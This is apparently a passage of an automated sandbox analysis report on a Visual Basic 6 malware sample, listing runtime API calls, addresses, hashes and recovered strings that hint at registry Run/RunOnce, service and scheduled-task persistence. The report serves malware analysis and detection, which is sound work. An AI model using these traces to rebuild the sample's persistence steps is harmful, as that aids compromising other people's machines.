Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CD3B
__vbaStrCat.MSVBVM60(00000000), ref: 0040CD42
__vbaStrMove.MSVBVM60 ref: 0040CD4D
__vbaStrCopy.MSVBVM60 ref: 0040CD5A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CD72
__vbaStrCopy.MSVBVM60 ref: 0040CD8A
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD9C
__vbaStrMove.MSVBVM60 ref: 0040CDA7

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CDBC
__vbaStrCat.MSVBVM60(00000000), ref: 0040CDC3
__vbaStrMove.MSVBVM60 ref: 0040CDCE
__vbaStrCopy.MSVBVM60 ref: 0040CDDB
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CDF3
__vbaStrCat.MSVBVM60(at.,00000000), ref: 0040CE0F
__vbaStrMove.MSVBVM60 ref: 0040CE1A
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040CE28
__vbaStrMove.MSVBVM60 ref: 0040CE33
__vbaStrCopy.MSVBVM60 ref: 0040CE40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE50
__vbaStrCopy.MSVBVM60 ref: 0040CE68

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?), ref: 0040CE7C
__vbaStrCopy.MSVBVM60 ref: 0040CE89
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE99

Part of subcall function 00411F00: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CEB3,0042C160), ref: 00411F1E
Part of subcall function 00411F00: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00411F4E
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(0040CEB3,?,?,?,00000000,004032B6), ref: 00411F69
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F7D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00411F86
Part of subcall function 00411F00: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F97
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?,004156AF), ref: 0041565A
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415667
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415674
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415681
Part of subcall function 00411F00: __vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041568D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 00415696
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 0041569F
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 004156A8

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CEE1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407978,0000005C), ref: 0040CF27
__vbaFreeObj.MSVBVM60 ref: 0040CF42
__vbaFreeStr.MSVBVM60(0040CFB1), ref: 0040CFA1
__vbaFreeStr.MSVBVM60 ref: 0040CFAA

Part of subcall function 004115D0: __vbaErase.MSVBVM60(004065BC,0042C078,0000000A,-00000061,6D16DF85), ref: 00411B74
Part of subcall function 004115D0: __vbaRedim.MSVBVM60(00000000,00000024,0042C078,004065BC,00000001,00000003,00000001), ref: 00411B97
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411BAA
Part of subcall function 004115D0: __vbaGenerateBoundsError.MSVBVM60 ref: 00411BCE
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411BFE
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?), ref: 00411C14
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411C1A
Part of subcall function 004115D0: __vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00411C2C
Part of subcall function 004115D0: __vbaAryUnlock.MSVBVM60(?), ref: 00411C3E
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411C4F

Strings

at., xrefs: 0040CE0A
Once, xrefs: 0040CA52, 0040CAB8
RO, xrefs: 0040CA2D, 0040CA94
system\, xrefs: 0040CD16, 0040CD97
MR, xrefs: 0040CB75

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$Move$Copy$List$Error$Bstr$ChkstkUnlock$#516#580#631AnsiFileSystemUnicode$#525#570#648LockOpen$#529#537#600#616BoundsCheckDestructEraseGenerateGet3Get4HresultRedimSeek
String ID: MR$ RO$Once$at.$system\
API String ID: 2909355650-3550570743
Opcode ID: 62e35ed8a7b47f80a0104368028385edb3d500118c11250b0c7bad768e32b4b2
Instruction ID: 5352e845ad87aaf5050473855ece2fd4f397f64d24d7448873b9de5ca92ad3b4
Opcode Fuzzy Hash: 62e35ed8a7b47f80a0104368028385edb3d500118c11250b0c7bad768e32b4b2
Instruction Fuzzy Hash: E0F14F71A00248EFDB04EFA0EE89AEE7775EF48304F108169F606B72A1DB745A45CF59

Function 0041EB20 Relevance: 112.4, APIs: 61, Strings: 3, Instructions: 355COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041EB3E
__vbaOnError.MSVBVM60(00000001,?,?,?,00000000,Function_000032B6), ref: 0041EB6E
__vbaSetSystemError.MSVBVM60(00000005,00000000,00000002,?,?), ref: 0041EBB0
__vbaSetSystemError.MSVBVM60(00000040,00004000), ref: 0041EBE8
__vbaSetSystemError.MSVBVM60(?,FFFFFFFF,?,00004000), ref: 0041EC19
__vbaSetSystemError.MSVBVM60(?,?,00000020), ref: 0041ECA0

Part of subcall function 0041F150: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041F16E
Part of subcall function 0041F150: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F19E
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F1AD
Part of subcall function 0041F150: #606.MSVBVM60(000000FF,00000008), ref: 0041F1C6
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F1D1
Part of subcall function 0041F150: __vbaFreeVar.MSVBVM60 ref: 0041F1DA
Part of subcall function 0041F150: __vbaStrToAnsi.MSVBVM60(?,?), ref: 0041F1F5
Part of subcall function 0041F150: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041F201
Part of subcall function 0041F150: __vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F20F
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F218
Part of subcall function 0041F150: #537.MSVBVM60(00000000,?,00000001), ref: 0041F22D
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F238
Part of subcall function 0041F150: __vbaInStr.MSVBVM60(00000000,00000000), ref: 0041F241
Part of subcall function 0041F150: #616.MSVBVM60(?,-00000001), ref: 0041F251
Part of subcall function 0041F150: __vbaStrMove.MSVBVM60 ref: 0041F25C
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60 ref: 0041F265
Part of subcall function 0041F150: __vbaFreeStr.MSVBVM60(0041F2A2), ref: 0041F29B

__vbaStrMove.MSVBVM60(?), ref: 0041ECBB
__vbaStrCmp.MSVBVM60(00408114,?), ref: 0041ECD1
__vbaStrCat.MSVBVM60(00000000,00409A70,?), ref: 0041ECF1
__vbaStrMove.MSVBVM60 ref: 0041ECFC
__vbaStrCmp.MSVBVM60(00000000), ref: 0041ED03
__vbaFreeStr.MSVBVM60 ref: 0041ED1E
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041ED43
__vbaStrMove.MSVBVM60 ref: 0041ED4E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041ED5C
#600.MSVBVM60(00000008,00000000), ref: 0041ED7B
__vbaFreeStr.MSVBVM60 ref: 0041ED8A
__vbaFreeVar.MSVBVM60 ref: 0041ED96
__vbaStrCat.MSVBVM60(?,sc ), ref: 0041EDAC
__vbaStrMove.MSVBVM60 ref: 0041EDB7
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EDC5
#600.MSVBVM60(00000008,00000000), ref: 0041EDE4
__vbaFreeStr.MSVBVM60 ref: 0041EDF3
__vbaFreeVar.MSVBVM60 ref: 0041EDFF

Part of subcall function 0041A980: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041A99E
Part of subcall function 0041A980: __vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041A9CE
Part of subcall function 0041A980: __vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,00000000,?,00000000,Function_000032B6), ref: 0041A9DF
Part of subcall function 0041A980: __vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0041A9EE
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(0000000F,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0041AA0A
Part of subcall function 0041A980: __vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041AA44
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041AA5A
Part of subcall function 0041A980: __vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041AA73
Part of subcall function 0041A980: #525.MSVBVM60(00000104), ref: 0041AA9C
Part of subcall function 0041A980: __vbaStrMove.MSVBVM60 ref: 0041AAA7
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041AADE
Part of subcall function 0041A980: __vbaStrToAnsi.MSVBVM60(?,00000000,000001F4), ref: 0041AB38

__vbaSetSystemError.MSVBVM60(00000014,00000000), ref: 0041EE2B
#598.MSVBVM60 ref: 0041EE38
#611.MSVBVM60(00000000), ref: 0041EE47
#661.MSVBVM60(?,00407C78,00000000,40000000,00000008), ref: 0041EE77
#705.MSVBVM60(?,00000004), ref: 0041EE86
__vbaStrMove.MSVBVM60 ref: 0041EE94
__vbaStrCat.MSVBVM60(?,at ), ref: 0041EEB9
__vbaStrMove.MSVBVM60 ref: 0041EEC4
__vbaStrCat.MSVBVM60(004086A8,00000000), ref: 0041EED0
__vbaStrMove.MSVBVM60 ref: 0041EEDB
__vbaStrMove.MSVBVM60(00000000), ref: 0041EEEB
__vbaStrCat.MSVBVM60(00000000), ref: 0041EEF2
__vbaStrMove.MSVBVM60 ref: 0041EEFD
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF0A
__vbaStrMove.MSVBVM60 ref: 0041EF15
__vbaStrCat.MSVBVM60("\\,00000000), ref: 0041EF21
__vbaStrMove.MSVBVM60 ref: 0041EF2C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF3A
__vbaStrMove.MSVBVM60 ref: 0041EF45
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF51
__vbaStrMove.MSVBVM60 ref: 0041EF5C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF6A
__vbaStrMove.MSVBVM60 ref: 0041EF78
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF84
__vbaStrMove.MSVBVM60 ref: 0041EF92
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF9F
__vbaStrMove.MSVBVM60 ref: 0041EFAD
__vbaStrCat.MSVBVM60(004095E4,00000000), ref: 0041EFB9
#600.MSVBVM60(00000008,00000000), ref: 0041EFD8
__vbaFreeStrList.MSVBVM60(0000000C,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041F022
__vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 0041F042
__vbaOnError.MSVBVM60(000000FF), ref: 0041F076
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F099
__vbaSetSystemError.MSVBVM60(?), ref: 0041F0AF
__vbaExitProc.MSVBVM60 ref: 0041F0B5
__vbaFreeStr.MSVBVM60(0041F135), ref: 0041F12E

Strings

sc , xrefs: 0041ED3A, 0041EDA3
"\\, xrefs: 0041EF1C
at , xrefs: 0041EEB0

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Ansi$#600Chkstk$#537List$#525#598#606#611#616#661#705Construct2CopyExitProcUnicode
String ID: "\\$at $sc
API String ID: 318166071-2414866108
Opcode ID: 4b8c8b84d047fe4784aaf450267804eaefad0624f37f806294de8aa0bbb905cd
Instruction ID: eba9ca47820d788d97438d3d91098e027868d298501ab0f7648888b7b33149ee
Opcode Fuzzy Hash: 4b8c8b84d047fe4784aaf450267804eaefad0624f37f806294de8aa0bbb905cd
Instruction Fuzzy Hash: 01F12E71900248EFDB14DFA0DE49BDEBBB4FB48305F1081AAE506B72A0DB745A89CF54

Function 0040502A Relevance: 108.9, APIs: 55, Strings: 7, Instructions: 415COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040F89E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040F8E5

Part of subcall function 00429F50: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00429F6E
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429F9B
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FA7
Part of subcall function 00429F50: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00429FB6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429FCF
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 00429FDF
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00429FED
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FF6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,00403208,00000004,?,?,?,00000000,Function_000032B6), ref: 0042A015
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0042A025
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0042A033
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A03C
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0042A052
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(0042A07C,?,?,?,00000000,Function_000032B6), ref: 0042A06C
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A075

__vbaStrCat.MSVBVM60( RO,00000000,80000002,00000000,Start,00000004,80000002,00000000,Start,00000002,80000001,00000000,00000000,00000000), ref: 0040F95B
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0040F966
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0040F980
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0040F98B

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000,?,?,?,00000000,Function_000032B6), ref: 0040F9A6
__vbaStrCat.MSVBVM60( RO,00000000,?,00000000,Function_000032B6), ref: 0040F9C2
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040F9CD
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,00000000,Function_000032B6), ref: 0040F9E6
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040F9F1
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000,?,00000000,Function_000032B6), ref: 0040FA0C

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

#580.MSVBVM60(00000000,00000027,00000000,00000000,Function_0002C0F4,00000000,Function_0002C0D4), ref: 0040FA7B
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,Function_0002C114,Function_0002C118,00000000,Function_0002C0D4), ref: 0040FAA3
__vbaStrMove.MSVBVM60 ref: 0040FAAE
__vbaFreeStr.MSVBVM60(00000000), ref: 0040FABD
__vbaCastObj.MSVBVM60(00000000,004077C4), ref: 0040FAD1
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0040FADC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 0040FB0F
__vbaFreeObj.MSVBVM60 ref: 0040FB2A
__vbaNew.MSVBVM60(004075DC), ref: 0040FB3C
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FB47
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 0040FB7A
__vbaFreeObj.MSVBVM60 ref: 0040FB95
__vbaStrCopy.MSVBVM60 ref: 0040FBC0
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040FBDA
__vbaStrCat.MSVBVM60(00000000), ref: 0040FBE1
#529.MSVBVM60(00000008), ref: 0040FBF5

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D256537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

Strings

Start, xrefs: 0040F914, 0040F933
, xrefs: 0040FEAD
Once, xrefs: 0040F97B, 0040F9E1
RO, xrefs: 0040F956, 0040F9BD
O, xrefs: 0040502A
at , xrefs: 0040FC6F
MR, xrefs: 0040FA9E

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$Move$Copy$Error$ChkstkSystem$AnsiBstrUnicode$List$File$#525#529#570#580#648CheckHresultOpen$#616CastGet3Get4Seek
String ID: $ MR$ RO$O$Once$Start$at
API String ID: 3212910503-2307593978
Opcode ID: 038b71cd8d28de9afb32ba8b14d709ce0b56e327341b01d55f2d896db002f36b
Instruction ID: 65a71e158419679981a83cfad656d767fba14ec0aa04879cc95e73d8581266b7
Opcode Fuzzy Hash: 038b71cd8d28de9afb32ba8b14d709ce0b56e327341b01d55f2d896db002f36b
Instruction Fuzzy Hash: 8F020D75A00208EFDB14DFA0DE89BDE77B4FB48304F508169E505B72A1DB74AA45CF68

Function 00429830 Relevance: 105.3, APIs: 57, Strings: 3, Instructions: 320COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CB91,00000000), ref: 0042984E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042987B
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042988A
__vbaStrCat.MSVBVM60(00000000,?,?,?,?,00000000,004032B6), ref: 004298A3
__vbaStrMove.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 004298AE
__vbaStrCat.MSVBVM60(00000000,?,?,?,?,?,00000000,004032B6), ref: 004298C7
__vbaStrMove.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 004298D2
__vbaStrToAnsi.MSVBVM60(?,?,00000000,000F003F,?,?,?,?,?,?,00000000,004032B6), ref: 004298F2
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,?,?,00000000,004032B6), ref: 00429906
